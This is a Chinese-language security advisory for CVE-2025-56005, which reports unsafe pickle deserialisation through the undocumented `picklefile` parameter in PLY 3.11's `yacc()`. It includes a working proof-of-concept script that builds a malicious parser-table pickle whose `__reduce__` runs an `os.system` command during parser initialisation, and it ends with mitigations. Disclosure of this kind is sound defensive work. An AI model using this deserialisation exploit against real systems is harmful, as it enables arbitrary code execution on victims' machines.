
Undocumented-RCE-in-PLY — 已更新!
PLY 中通过 `picklefile` 参数实现的未记录的远程代码执行(RCE)
PLY 中未记录的远程代码执行 CVE‑2025‑56005
CVE ID: CVE‑2025‑56005
披露日期: 2025年7月1日
受影响产品: PLY (Python Lex‑Yacc)
受影响版本: 3.11 (PyPI 发行版)
供应商: PLY (Python Lex‑Yacc)
受影响组件:** ply/yacc.py` — `LRTable.read_pickle()` 通过 `yacc(picklefile=...)`
摘要
PyPI 发行的 PLY 3.11 版本中存在一个未记录且不安全的特性,当 yacc() 函数使用 picklefile 参数调用时,允许任意代码执行。
picklefile 参数导致 PLY 使用 Python 的 pickle.load() 未经任何验证地反序列化 .pkl 文件。由于 Python 的 pickle 模块支持在反序列化期间执行任意代码(例如通过 __reduce__()),能够控制所提供 pickle 文件的攻击者可以在解析器初始化期间执行任意代码。
该参数在官方 PLY 文档或 GitHub 仓库中未记录,但在 PyPI 发行版中处于活动状态。
影响
如果攻击者能够控制、替换或影响传递给 yacc(picklefile=...) 的 .pkl 文件,他们可以实现:
- 任意代码执行
- 在应用程序启动期间执行
- 在到达任何解析逻辑之前执行代码
这可能影响从以下位置加载解析器表的应用程序:
- 缓存位置
- 共享目录
- CI/CD 流水线
- 可配置或可写路径
🔍 漏洞详情
- 漏洞类型: 任意代码执行
- 攻击类型: 上下文相关
- 攻击向量: 对攻击者控制的 pickle 文件进行不安全反序列化
- 影响: 代码执行
- CWE: CWE‑502(不可信数据的反序列化)
受影响的功能
ply.yacc.yacc(picklefile=...)ply/yacc.py中的LRTable.read_pickle()
附加信息(背景与风险)
该漏洞由于其隐蔽性和持久化潜力而具有较高风险。
picklefile 参数在官方 PLY 文档和 GitHub 仓库中未记录。然而,PyPI 发行的 PLY 3.11 版本包含此功能,并使用 pickle.load() 未经验证地处理所提供的文件。
由于 Python 的 pickle 模块允许在反序列化期间执行嵌入代码,恶意 pickle 文件可以在解析器设置期间、在任何解析逻辑被调用之前执行任意代码。
在撰写本文时,维护者尚未公开承认此行为。
此功能可被滥用来引入持久性后门,特别是在解析器表文件满足以下条件的环境中:
- 缓存在磁盘上
- 在用户或服务之间共享
- 在 CI/CD 流水线中生成或重用
- 从可配置或可写路径加载
鉴于缺乏文档、静默执行路径以及不安全反序列化的高影响,分配 CVE 是合理的,以提高认识并保护下游用户。
概念验证 (PoC)
此概念验证演示了当通过未记录的 picklefile 参数提供恶意 pickle 文件时,如何实现任意代码执行。
PoC 概述
该 PoC:
- 定义了一个最小的词法分析器和语法分析器
- 构造了一个恶意 pickle 载荷
- 在反序列化期间执行系统命令
预期结果
当调用 yacc(picklefile='exploit.pkl') 时,任意代码在解析器初始化期间被执行。
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
缓解措施
- 不要对不可信或外部可写的文件使用
picklefile参数 - 避免从用户控制的位置加载解析器表
- 将所有 pickle 文件视为不安全输入
- 优先重新生成解析器表,而不是从磁盘加载
参考
- PLY GitHub 仓库: https://github.com/dabeaz/ply
- PyPI 包: https://pypi.org/project/ply/
- Python Pickle 文档: https://docs.python.org/3/library/pickle.html
- 概念验证仓库: https://github.com/bohmiiidd/Undocumented-RCE-in-PLY